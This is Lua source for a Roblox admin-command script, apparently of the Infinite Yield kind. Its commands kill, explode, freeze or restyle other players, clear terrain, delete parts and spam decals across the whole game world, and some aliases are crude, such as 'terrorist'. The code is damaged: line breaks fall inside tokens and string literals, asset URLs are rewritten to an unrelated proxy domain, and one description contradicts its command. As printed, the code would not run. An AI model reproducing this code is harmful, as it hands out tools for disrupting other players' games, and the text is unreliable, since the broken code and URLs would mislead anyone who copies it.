addcmd('unlongneck', 'makes a player have a really long neck',{'nolongneck',


'ungiraffe', 'nogiraffe'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
for i,v in pairs(pchar:GetChildren()) do
pchar.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-
math.rad(90),0,math.rad(180))
local Neck = pchar:FindFirstChild("Neck") if Neck then Neck:Destroy()
end
end
end
end)

addcmd('removeterrain', 'rip terrain',{'noterrain','clrterrain'},


function(args, speaker)
workspace.Terrain:Clear()
end)

addcmd('smite','get hit by lightning',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
spawn(function()
local char = pchar
local zeus = Instance.new("Model",char)
local cloud = Instance.new("Part",zeus)
cloud.Anchored = true
cloud.CanCollide = false
cloud.CFrame =
char.HumanoidRootPart.CFrame*CFrame.new(0,25,0)
local sound = Instance.new("Sound",cloud)
sound.SoundId = "rbxassetid://133426162"
local mesh = Instance.new("SpecialMesh",cloud)
mesh.MeshId = "http://www.roblox.com/asset/?
id=1095708"
mesh.TextureId = "http://www.roblox.com/asset/?
id=1095709"
mesh.Scale = Vector3.new(30,30,40)
mesh.VertexColor = Vector3.new(0.3,0.3,0.3)
local light = Instance.new("PointLight",cloud)
light.Color = Color3.new(0,85/255,1)
light.Brightness = 10
light.Range = 30
light.Enabled = false
wait(0.2)
sound.Volume = 0.5
sound.Pitch = 0.8
sound:Play()
light.Enabled = true
wait(1/100)
light.Enabled = false
wait(0.2)
light.Enabled = true
light.Brightness = 1
wait(0.05)
light.Brightness = 3
wait(0.02)
light.Brightness = 1
wait(0.07)
light.Brightness = 10
wait(0.09)
light.Brightness = 0
wait(0.01)
light.Brightness = 7
light.Enabled = false
wait(1.5)
local part1 = Instance.new("Part",zeus)
part1.Anchored = true
part1.CanCollide = false
part1.Size = Vector3.new(2, 9.2, 1)
part1.BrickColor = BrickColor.new("New Yeller")
part1.Transparency = 0.6
part1.BottomSurface = "Smooth"
part1.TopSurface = "Smooth"
part1.CFrame =
char.HumanoidRootPart.CFrame*CFrame.new(0,15,0)
part1.Rotation = Vector3.new(0.359, 1.4, -
14.361)
wait()
local part2 = part1:clone()
part2.Parent = zeus
part2.Size = Vector3.new(1, 7.48, 2)
part2.CFrame =
char.HumanoidRootPart.CFrame*CFrame.new(0,7.5,0)
part2.Rotation = Vector3.new(77.514, -75.232,
78.051)
wait()
local part3 = part1:clone()
part3.Parent = zeus
part3.Size = Vector3.new(1.86, 7.56, 1)
part3.CFrame =
char.HumanoidRootPart.CFrame*CFrame.new(0,1,0)
part3.Rotation = Vector3.new(0, 0, -11.128)
sound.SoundId = "rbxassetid://130818250"
sound.Volume = 1
sound.Pitch = 1
sound:Play()
wait()
part1.Transparency = 1
part2.Transparency = 1
part3.Transparency = 1

Instance.new("Smoke",char.HumanoidRootPart).Color = Color3.new(0,0,0)
char:BreakJoints()
end)
end
end)

addcmd('asteroid','get hit by an asteroid',{'meteor', 'meteorite'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
local pchar=_char(v)
local Ast = Instance.new("Part", workspace) Ast.Name =
"Asteroid" Ast.Position = pchar.HumanoidRootPart.Position + Vector3.new(0,500,0)
Ast.Size = Vector3.new(12,12,12)
local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId =
"rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId =
"rbxassetid://1290030"
local Fire = Instance.new("Fire", Ast) Fire.Heat = 25
Fire.Size = 30
local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity
= 10 Smoke.Size = 10
local f = Instance.new("Sound")
f.Name = "fly"
f.SoundId = "rbxassetid://179438534"
f.Volume = 3
f.Pitch = 1
f.Looped = true
f.archivable = true
f.Parent = Ast
f:play()
local Touched = false
coroutine.wrap(function()
repeat wait(0.1)
Ast.Position =
Vector3.new(pchar.HumanoidRootPart.Position.X, Ast.Position.Y,
pchar.HumanoidRootPart.Position.Z)
until not Ast or Ast.Parent == nil or Touched == true
end)()
Ast.Touched:connect(function(Part)
if Touched == false then
Touched = true
Part:BreakJoints()
local Boom = Instance.new("Explosion",
workspace)
Boom.Position = Ast.Position
Boom.BlastPressure = 1000000
Boom.BlastRadius = 30
Fire.Heat = 0
Smoke.RiseVelocity = 0
f:Destroy()
local s = Instance.new("Sound")
s.Name = "boom"
s.SoundId = "rbxassetid://188590169"
s.Volume = 3
s.Pitch = 1
s.Looped = true
s.archivable = true
s.Parent = Ast
s:play()
coroutine.wrap(function()
wait(10)
s:Destroy()
if Ast and Ast.Parent ~= nil then
Ast:Destroy()
end
end)()
end
end)
end)
end
end)

addcmd('bomb','gives you a bomb vest',{'terrorist'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
local Char=_char(v)
local HumanoidRootPart = Char.HumanoidRootPart
local TickWait = 1
local Dead = false

local Position = Vector3.new(0,100,0)


function NewPart(Parent)
local Part = Instance.new("Part", Parent)
Part.CanCollide = false
Part.Position = Position
Part.TopSurface = "Smooth"
Part.BottomSurface = "Smooth"
Position = Position + Vector3.new(0,10,0)
return Part
end

local Model = Char:FindFirstChild("Bomb")


if Model then Model:Destroy() end

local Model = Instance.new("Model", Char)


Model.Name = "Bomb"

local Belt = NewPart(Model)


Belt.Size = Vector3.new(2.2,0.5,1.2)
local Weld = Instance.new("Weld", Belt)
Weld.Part0 = Belt
Weld.Part1 = HumanoidRootPart
Weld.C0 = CFrame.new(0,1.1,0)
local Light = Instance.new("PointLight", Belt)
Light.Range = 15
Light.Brightness = 5
Light.Color = Color3.new(1,0,0)
local Beep = Instance.new("Sound", Belt)
Beep.SoundId = "http://www.roblox.com/asset/?id=188588790"
local ExplodeSound = Instance.new("Sound", Belt)
ExplodeSound.SoundId = "http://www.roblox.com/asset/?id="..
(tonumber((math.ceil(1776.66^2)+17).."."..string.rep("36",3))*77)+0.00003
ExplodeSound.Pitch = 2.8
ExplodeSound.Volume = 3

local Back = NewPart(Model)


Back.Size = Vector3.new(1.5,1.5,0.5)
local Weld = Instance.new("Weld", Back)
Weld.Part0 = Back
Weld.Part1 = HumanoidRootPart
Weld.C0 = CFrame.new(0,0.1,-0.75)

local StrapLeft = NewPart(Model)


StrapLeft.Size = Vector3.new(0.2,0.5,1.6)
local Weld = Instance.new("Weld", StrapLeft)
Weld.Part0 = StrapLeft
Weld.Part1 = HumanoidRootPart
Weld.C0 = CFrame.new(0.65,-0.9,-0.2)

local BuckleLeft = NewPart(Model)


BuckleLeft.Size = Vector3.new(0.2,1.5,0.2)
local Weld = Instance.new("Weld", BuckleLeft)
Weld.Part0 = BuckleLeft
Weld.Part1 = HumanoidRootPart
Weld.C0 = CFrame.new(0.65,0.1,0.5)

local StrapRight = NewPart(Model)


StrapRight.Size = Vector3.new(0.2,0.5,1.6)
local Weld = Instance.new("Weld", StrapRight)
Weld.Part0 = StrapRight
Weld.Part1 = HumanoidRootPart
Weld.C0 = CFrame.new(-0.65,-0.9,-0.2)

local BuckleRight = NewPart(Model)


BuckleRight.Size = Vector3.new(0.2,1.5,0.2)
local Weld = Instance.new("Weld", BuckleRight)
Weld.Part0 = BuckleRight
Weld.Part1 = HumanoidRootPart
Weld.C0 = CFrame.new(-0.65,0.1,0.5)

LightEnabled = true
coroutine.wrap(function()
repeat
wait(TickWait)
LightEnabled = not LightEnabled
Light.Enabled = LightEnabled
Beep:Play()
until Dead == true or Char:FindFirstChild("Bomb") == nil
end)()

wait(10)
if Dead == false then
Dead = true
ExplodeSound:Play(); wait(1.4)
local Explosion = Instance.new("Explosion")
Explosion.Position = Belt.Position
Explosion.BlastPressure = 100000
Explosion.DestroyJointRadiusPercent = 0.7
Explosion.ExplosionType = "CratersAndDebris"
Explosion.BlastRadius = 50
Explosion.Parent = workspace
end
end)
end
end)

addcmd('btools', 'gives a player btools',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
if players ~= nil then
for i, v in pairs(players) do
Instance.new("HopperBin", gPlayers[v].Backpack).BinType = 1 --
Model Grab Tool
Instance.new("HopperBin", gPlayers[v].Backpack).BinType = 2 --
Part Grab Tool
Instance.new("HopperBin", gPlayers[v].Backpack).BinType = 3 --
Clone Tool
Instance.new("HopperBin", gPlayers[v].Backpack).BinType = 4 --
Hammer Tool
if FindTable(SPC, args[1]) then Notify('Gave building tools to
' ..args[1]) else
Notify('Gave btools to player(s)') end end end end)

addcmd('sword', 'gives a player a sword',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
if players ~= nil then
for i, v in pairs(players) do
coroutine.resume(coroutine.create(function()
if gPlayers[v] and gPlayers[v]:findFirstChild("Backpack") then
local sword = Instance.new("Tool", gPlayers[v].Backpack) sword.Name = "Sword"
sword.TextureId = "rbxasset://Textures/Sword128.png"
sword.GripForward = Vector3.new(-1,0,0)
sword.GripPos = Vector3.new(0,0,-1.5)
sword.GripRight = Vector3.new(0,1,0)
sword.GripUp = Vector3.new(0,0,1)
local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor
= "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0
handle.BottomSurface = 0
local msh = Instance.new("SpecialMesh", handle) msh.MeshId =
"rbxasset://fonts/sword.mesh" msh.TextureId =
"rbxasset://textures/SwordTexture.png"
repeat wait() until gPlayers[v] and gPlayers[v].Character and
gPlayers[v].Character:findFirstChild("Humanoid")
local Damage = 15
local SlashSound = Instance.new("Sound", handle)
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Volume = 1
local LungeSound = Instance.new("Sound", handle)
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
LungeSound.Volume = 1
local UnsheathSound = Instance.new("Sound", handle)
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Volume = 1
handle.Touched:connect(function(hit)
if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and
gPlayers[v].Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~=
gPlayers[v].Character.Humanoid then
local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = speaker
tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
hit.Parent.Humanoid:TakeDamage(Damage)
if not sword.Enabled or gPlayers[v].Character.Humanoid.Health <= 0 then return end
sword.Enabled = false
SlashSound:play()
local slash = Instance.new("StringValue", sword) slash.Name = "toolanim"
slash.Value = "Slash"
wait(0.5)
sword.Enabled = true
end
end)
sword.Equipped:connect(function(hit)
UnsheathSound:play()
sword.Enabled = true
end)
end
end))
end
end
end)

addcmd('hatsize', 'changes players hat size',{''},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
for i,v in pairs(gPlayers[v].Character:GetChildren()) do
if v:IsA('Accessory') then
for a,b in pairs(v.Handle:GetChildren()) do
if b:IsA('SpecialMesh') then
b.Scale = args[2] * Vector3.new(1, 1, 1)
end
end
end
end
end
end)

addcmd('headsize', 'changes players head size',{''},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
local plrchar = _players[v].Character
if not plrchar.Humanoid:FindFirstChild('HeadScale') then
if args[2] == 1 then
plrchar.Head.Mesh.Scale = Vector3.new(1.25, 1.25, 1.25)
plrchar.Head.Mesh.Offset = Vector3.new(0, 0, 0)
else
plrchar.Head.Mesh.Scale = args[2] * Vector3.new(1.25, 1.25, 1.25)
end
else plrchar.Humanoid.HeadScale.Value = args[2]
end
end
end)
addcmd('change', 'changes a players stat',{'stat'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
if _players[v]:FindFirstChild('leaderstats') then
for i,v in pairs(_players[v].leaderstats:GetChildren()) do
if string.lower(v.Name) == string.lower(args[2]) and
v:IsA('IntValue') or v:IsA('NumberValue') then
if args[3] then v.Value = tonumber(args[3]) end
elseif string.lower(v.Name) == string.lower(args[2]) and
v:IsA('StringValue') then
v.Value = GLS(false, 2)
end
end
end
end
end)

addcmd('draw', 'drawing tool',{},


function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
for i,v in next,game:children()do
pcall(function()
local c=v.className;
rawset(getfenv(0),c:sub(1,1):lower()..c:sub(2),game:service(c));
end);
end;

user=players.LocalPlayer;
uname=user.Name;
guis=user.PlayerGui;
pack=user.Backpack;

keyDowns={};
freeKeys={};
shortcuts={};

_G.mine=_G.mine or{};

name='Draw3D';
url='http://www.roblox.com/asset/?id=%d';

iconNormal=url:format(96578285);
iconOnDown=url:format(96584484);

ver=0;
drawPixel=0.10;
_G.drawLimit=_G.drawLimit or 1000;

_G.drawColor=_G.drawColor or Color3.new();

destroy=game.remove;
find=game.findFirstChild;
new=Instance.new;
with=function(c)
return function(p)
local o=type(c)=='string'and new(c)or c;
local x=p.Parent;p.Parent=nil;
for i,v in next,p do
o[i]=v;
end;
if(x)then
o.Parent=x;
end;
return o;
end;
end;
getPlace=function()
if(find(workspace,'draw')==nil)then
new('Model',workspace).Name='draw';
end;
if(find(workspace.draw,uname)==nil)then
new('Model',workspace.draw).Name=uname;
end;
return workspace.draw[uname];
end;
drawLine=function(start,target)
local gui=with'BlockMesh'{
Parent=with'Part'{
CFrame=CFrame.new(start,target)*CFrame.new(0,0,-(start-
target).magnitude/2);
Size=Vector3.new(drawPixel,drawPixel,(start-
target).magnitude+.325*drawPixel);
Parent=getPlace();
Color=_G.drawColor;
BottomSurface=0;
Anchored=true;
TopSurface=0;
formFactor=3;
Name=name;
}}.Parent;
table.insert(_G.mine,gui);
return gui;
end;
onDown=function()
if(drawing)then
return nil;
end;
if(selectGui.Adornee)then
destroy(selectGui.Adornee);
end;

drawing=true;

mouse.Icon=iconOnDown;
ver=ver+1;

local cVer,start,target=ver,mouse.hit.p;

local group={};
repeat
Wait(0.02);

if(mouse.target and mouse.target.Name~=name and mouse.hit.p~=start)then

target=mouse.hit.p;

table.insert(group,drawLine(start,target));

start=target;
end;
until ver~=cVer;
drawing=false;

local groupM=new('Model',getPlace());
for i,v in next,group do
if(v:IsDescendantOf(Workspace))then
v.Parent=groupM;
end;
end;
if(next(groupM:children())==nil)then
destroy(groupM);
end;
end;
onUp=function()
mouse.Icon=iconNormal;
ver=ver+1;
end;
onKeyDown=function(k)
if(freeKeys[k]==false)then
return false;
end;
freeKeys[k]=false;
Wait(0.01);
if(keyDowns[k])then
keyDowns[k]();
elseif(shortcuts[k])then
shortcuts[k]();
end;
end;
onKeyUp=function(k)
freeKeys[k]=true;
end;
onMove=function()

end;
onSelect=function(lmouse)
frame.Visible=true;

mouse=lmouse;

mouse.Icon=iconNormal;

mouse.Button1Down:connect(onDown);
mouse.KeyDown:connect(onKeyDown);
mouse.Button1Up:connect(onUp);
mouse.KeyUp:connect(onKeyUp);
mouse.Move:connect(onMove);
end;
onDeselect=function()
ver=ver+1;
frame.Visible=false;
selectGui.Adornee=nil;
mouse.Icon=iconNormal;
for i,v in next,freeKeys do
freeKeys[i]=true;
end;
end;
addButton=function(title,shortcut,fun)
with'TextButton'{
Text=string.format(' %s (%s)',title,shortcut);
TextXAlignment=0;
Parent=frame;
}.MouseButton1Up:connect(fun);

shortcuts[shortcut]=fun;

local c=#frame:children();
for i,v in next,frame:children()do
v.Position=UDim2.new(0,0,0,20*(i-1));
v.Size=UDim2.new(1,0,0,20);
end;

frame.Position=UDim2.new(1,-152,.5,-c*10);
frame.Size=UDim2.new(0,150,0,c*20);
end;

for i,v in next,{guis;pack;}do


pcall(function()
repeat until destroy(v[name]);
end);
end;

tool=with'HopperBin'{
Parent=pack;
Name=name;
};
tool.Deselected:connect(onDeselect);
tool.Selected:connect(onSelect);

screen=with'ScreenGui'{
Parent=guis;
Name=name;
};
frame=with'Frame'{
Parent=screen;
Visible=false;
};
clframe=with'Frame'{
Position=UDim2.new(.5,-50,.5,-50);
Size=UDim2.new(0,100,0,100);
Visible=false;
Parent=screen;
};
selectGui=with'SelectionBox'{
Parent=screen;
};

local c=0;
for y=0,7 do
for x=0,7 do
local color=BrickColor.palette(c).Color;

with'ImageButton'{
Position=UDim2.new(.125*x,0,.125*y);
Size=UDim2.new(.125,0,.125);
BackgroundColor3=color;
Parent=clframe;
}.MouseButton1Up:connect(function()
clframe.Visible=false;
_G.drawColor=color;
end);

c=c+1;
end;
end;

addButton('Color','c',function()
clframe.Visible=true;
end);
addButton('Remove your draws','r',function()
repeat
destroy(_G.mine[1]);
table.remove(_G.mine,1);
Wait(0.01);
until nil;
end);
addButton('Remove global draws','k',function()
destroy(workspace.draw);
while(_G.mine[1])do
destroy(_G.mine[1]);
table.remove(_G.mine,1);
end;
end);
addButton('Remove selected','x',function()
repeat
if(find(workspace,'draw'))then
local dt=mouse.target;
if(dt and dt:IsDescendantOf(workspace.draw))then
selectGui.Adornee=dt.Parent;
else
selectGui.Adornee=nil;
end;
else
selectGui.Adornee=nil;
end;
Wait(0.01);
until freeKeys.x;
selectGui.Adornee=nil;
end);

repeat
Wait(0.01);
if(next(_G.mine)and _G.mine[_G.drawLimit])then
destroy(_G.mine[1]);
table.remove(_G.mine,1);
end;
until script.Parent==nil or tool.Parent==nil;
script.Disabled=true;
destroy(screen);
end
end)

addcmd('god', 'gods player',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
if pchar then pchar.Humanoid.MaxHealth=math.huge end
end
end)

addcmd('sgod', 'silently gods player',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
spawn(function()
pchar.Humanoid.MaxHealth = 10000000
wait()
pchar.Humanoid.Health = 10000000
if FindTable(SPC, args[1]) then Notify('Silent godded
' ..args[1]) else
Notify('Silent godded player(s)') end
end)
end
end)

addcmd('ungod', 'removes god from a player',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
if pchar then
pchar.Humanoid.MaxHealth=100
pchar.Humanoid.Health=100
end
end
end)

addcmd('heal', 'resets a players health',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do spawn(function()
local pchar=_char(v)
if pchar then pchar.Humanoid.Health=pchar.Humanoid.MaxHealth;end end) end end)

addcmd('fart', 'makes u fart',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
local pchar=_char(v)
fart = Instance.new("Smoke")
fart.Parent = pchar.HumanoidRootPart
fart.Color = Color3.new(255/255, 255/255, 0)
fart.Opacity = 0.4
fart.Size = 1.0
fart.RiseVelocity = 8
fartsound = Instance.new("Sound", workspace)
fsound = "http://www.roblox.com/asset?id=251309043"
fartsound.SoundId = fsound
fartsound.Volume = 1.0
fartsound:Play()
wait(9.0)
fartsound:Destroy()
pchar.HumanoidRootPart.Smoke:Destroy()
end)
end
end)

addcmd('decalspam', 'you can already guess...',{},


function(args, speaker)
Notify('Decal Spammed ID: ' ..args[1])
wait(4)
decalID = args[1]
function exPro(root)
for _, v in pairs(root:GetChildren()) do
if v:IsA("BasePart") then
local One = Instance.new("Decal", v)
local Two = Instance.new("Decal", v)
local Three = Instance.new("Decal", v)
local Four = Instance.new("Decal", v)
local Five = Instance.new("Decal", v)
local Six = Instance.new("Decal", v)
One.Texture = "http://www.roblox.com/asset/?id="..decalID
Two.Texture = "http://www.roblox.com/asset/?id="..decalID
Three.Texture = "http://www.roblox.com/asset/?id="..decalID
Four.Texture = "http://www.roblox.com/asset/?id="..decalID
Five.Texture = "http://www.roblox.com/asset/?id="..decalID
Six.Texture = "http://www.roblox.com/asset/?id="..decalID
One.Face = "Front"
Two.Face = "Back"
Three.Face = "Right"
Four.Face = "Left"
Five.Face = "Top"
Six.Face = "Bottom"
One.Name = "IYdecal"
Two.Name = "IYdecal"
Three.Name = "IYdecal"
Four.Name = "IYdecal"
Five.Name = "IYdecal"
Six.Name = "IYdecal"
end
exPro(v)
end
end
function asdf(root)
for _, v in pairs(root:GetChildren()) do
asdf(v)
end
end
exPro(workspace)
asdf(workspace)
end)

addcmd('undecalspam', 'removes the mess',{},


function(args, speaker)
Notify('Removing Decal Spam...')
wait(4)
function exPro(root)
for _, v in pairs(root:GetChildren()) do
if v:IsA("Decal") and v.Texture == "http://www.roblox.com/asset/?id="..decalID then
v.Parent = nil
end
exPro(v)
end
end
function asdf(root)
for _, v in pairs(root:GetChildren()) do
asdf(v)
end
end
exPro(workspace)
asdf(workspace)
end)

addcmd('sky', 'sets the sky',{'skybox'},


function(args, speaker)
playinggif = false
for i,v in pairs(LightingService:GetChildren()) do if v:IsA('Sky') then v:Destroy()
end end
s = Instance.new("Sky")
s.Name = "Sky"
s.Parent = LightingService
local skyboxID = args[1]
s.SkyboxBk = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxDn = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxFt = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxLf = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxRt = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxUp = "http://www.roblox.com/asset/?id="..skyboxID
LightingService.TimeOfDay = 12
end)

addcmd('skygif', 'makes the sky play the IDs you feed it',{},
function(args, speaker)
if args[2] then skyinterval = tonumber(args[2]) else skyinterval = 0.05 end
playinggif = false
wait(0.5)
local GIF = splitString(args[1])
for _, child in pairs( gLighting:GetChildren()) do
if child.ClassName == "Sky" then
child:Destroy()
end
end
Sky = Instance.new("Sky",game.Lighting)
Notify('Loading...')
playinggif = true
for N,F in ipairs(GIF) do
game:GetService("ContentProvider"):Preload("http://www.roblox.com/asset/?
id="..F)
end
gLighting.TimeOfDay = 12
Notify('Playing skybox')
playinggif = true
wait(0.5)
repeat
for N,F in ipairs(GIF) do
Sky.SkyboxBk = "http://www.roblox.com/asset/?id="..F- 1
Sky.SkyboxDn = "http://www.roblox.com/asset/?id="..F- 1
Sky.SkyboxFt = "http://www.roblox.com/asset/?id="..F- 1
Sky.SkyboxLf = "http://www.roblox.com/asset/?id="..F- 1
Sky.SkyboxRt = "http://www.roblox.com/asset/?id="..F- 1
Sky.SkyboxUp = "http://www.roblox.com/asset/?id="..F- 1
wait(skyinterval)
end
until playinggif == false
end)

addcmd('unskygif', 'removes the sky animation',{'noskygif'},


function(args, speaker)
playinggif = false
wait(0.5)
Notify('Stopped sky gif')
for _, child in pairs( gLighting:GetChildren()) do
if child.ClassName == "Sky" then
child:Destroy()
end
end
end)

addcmd('freeze', 'freezes a player',{'fr'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
if players ~= nil then
for i, v in pairs(players) do
spawn(function()
for i, x in next, _char(v):GetDescendants() do if x:IsA("Part") and not
x.Anchored then x.Anchored = true end
end
end)
end
end
end)

addcmd('thaw', 'unfreezes a player',{'unfreeze','unfr'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
if players ~= nil then
for i, v in pairs(players) do
spawn(function()
for i, x in next, _char(v):GetDescendants() do if x:IsA("Part") and
x.Anchored then x.Anchored = false end
end
end)
end
end
end)

addcmd('spawn', 'places a spawn',{'spawnpoint'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
if players ~= nil then
for i, v in pairs(players) do
local M = Instance.new('SpawnLocation', workspace) M.Name = 'IYspawn'
M.CFrame = _char(v).HumanoidRootPart.CFrame
M.Color = maincolor M.Material = 'Neon' M.Size = Vector3.new(6, 1, 6)
M.Position = _char(v).HumanoidRootPart.Position + Vector3.new(0, -3.5, 0)
M.Anchored = true
end
end
end)

addcmd('deletespawns', 'places a spawn',{'removespawns'},


function(args, speaker)
for i,v in pairs(workspace:GetDescendants()) do
if v:IsA("SpawnLocation") then
v:Destroy()
end
end
end)

addcmd('neon', 'makes a player neon',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
if players ~= nil then
for i, v in pairs(players) do
for _, child in pairs( _char(v):GetChildren()) do
if child.ClassName == "CharacterMesh" then
child:Destroy()
end
end
for _, child in pairs( _char(v):GetChildren()) do
if child.ClassName == "Shirt" then
child:Destroy()
end
end
for _, child in pairs( _char(v):GetChildren()) do
if child.ClassName == "Pants" then
child:Destroy()
end
end
for _, child in pairs( _char(v):GetDescendants()) do
if child.ClassName == "Part" then
child.Material = "Neon"
end
end
end
end
end)

addcmd('glass', 'makes a player glass',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
if players ~= nil then
for i, v in pairs(players) do
for _, child in pairs( _char(v):GetChildren()) do
if child.ClassName == "CharacterMesh" then
child:Destroy()
end
end
for _, child in pairs( _char(v):GetChildren()) do
if child.ClassName == "Shirt" then
child:Destroy()
end
end
for _, child in pairs( _char(v):GetChildren()) do
if child.ClassName == "Pants" then
child:Destroy()
end
end
for _, child in pairs( _char(v):GetDescendants()) do
if child.ClassName == "Part" then
child.Material = "Glass"
child.Transparency = 0.3
end
end
end
end
end)

addcmd('os', 'Shows the targets platform.', {'platform', 'device'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
local platforms = {}
for i,v in pairs(players) do
local p = game:GetService("Players")[v]
table.insert(platforms, p.Name.."'s platform is: "..p.OsPlatform)
end
Notify(table.concat(platforms, ', '))
end)

addcmd('whiteify', 'Turns the target white.', {'white'},


function(args, speaker)
local players = getPlayer(args[1], speaker)

for i,v in pairs(players) do


local lplr = game:GetService("Players")[v]
local bodyc = lplr.Character["Body Colors"]
local color = "Institutional white"

bodyc.HeadColor = BrickColor.new(color)
bodyc.LeftArmColor = BrickColor.new(color)
bodyc.LeftLegColor = BrickColor.new(color)
bodyc.RightArmColor = BrickColor.new(color)
bodyc.RightLegColor = BrickColor.new(color)
bodyc.TorsoColor = BrickColor.new(color)
end
end)

addcmd('blackify', 'Turns the target black.', {'black'},


function(args, speaker)
local players = getPlayer(args[1], speaker)

for i,v in pairs(players) do


local lplr = game:GetService("Players")[v]
local bodyc = lplr.Character["Body Colors"]
local color = "Black"

bodyc.HeadColor = BrickColor.new(color)
bodyc.LeftArmColor = BrickColor.new(color)
bodyc.LeftLegColor = BrickColor.new(color)
bodyc.RightArmColor = BrickColor.new(color)
bodyc.RightLegColor = BrickColor.new(color)
bodyc.TorsoColor = BrickColor.new(color)
end
end)

addcmd('kill', 'kills a player',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
pchar:BreakJoints()
end
end)

addcmd('knuckles', 'that dead meme',{'ugandaknuckles'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
local plr = gPlayers[v]
local char = plr.Character
char.Humanoid.WalkSpeed = 100
char.Humanoid.JumpPower = 70
spawn(function()
for i,v in pairs(char:GetChildren()) do
if v:IsA("BasePart") then
coroutine.wrap(function()
for i=0,1,.1 do
wait()
v.Transparency = v.Transparency +i
end
end)()
end
end
for i,v in pairs(char:GetChildren()) do
if v:IsA("Accessory") then
coroutine.wrap(function()
for i=0,1,.1 do
wait()
v.Handle.Transparency = v.Handle.Transparency +i
end
end)()
end
end
end)
char.Head.face:Destroy()
wait(1)
local s = Instance.new("Sound")
s.Name = "wae"
s.SoundId = "http://www.roblox.com/asset/?id=1308281913"
s.Volume = 1
s.Pitch = 1
s.Looped = true
s.archivable = true
s.Parent = gPlayers.LocalPlayer.Character.Head
s:play()
local daqueen = Instance.new("Part",char)
daqueen.Name = "asd"
daqueen.CanCollide = false
local mesh = Instance.new("SpecialMesh",daqueen)
mesh.Scale = Vector3.new(0.1,0.1,0.1)
mesh.MeshId = "rbxassetid://1300136843"
local text = Instance.new("Decal",daqueen)
text.Name = "asd"
text.Texture = "rbxassetid://1300137893"
local knowdawey = Instance.new("Weld",char)
knowdawey.Part0 = char.HumanoidRootPart
knowdawey.Part1 = daqueen
local eye1 = Instance.new("Part")
eye1.CanCollide = false
eye1.Parent = char
local mesh1 = Instance.new("SpecialMesh",eye1)
mesh1.MeshId = "rbxassetid://1300138314"
mesh1.Scale = Vector3.new(0.1,0.1,0.2)
local eyetext = Instance.new("Decal",eye1)
eyetext.Texture = "rbxassetid://1300129774"
local eye1w = Instance.new("Weld",char)
eye1w.Part0 = char.HumanoidRootPart
eye1w.Part1 = eye1
eye1w.C1 = CFrame.new(0,-1.3,0.7)
end)
end
end)

addcmd('delete', 'removes any part with a certain name from the workspace',
{'remove'},
function(args, speaker)
part = GLS(false, 0)
local function dels(instance)
for i,v in pairs(instance:GetChildren())do
if v.Name:lower() == part:lower() then v:Destroy() end
dels(v)
end
end
dels(workspace)
Notify('Deleted ' ..GLS(false, 0))
end)

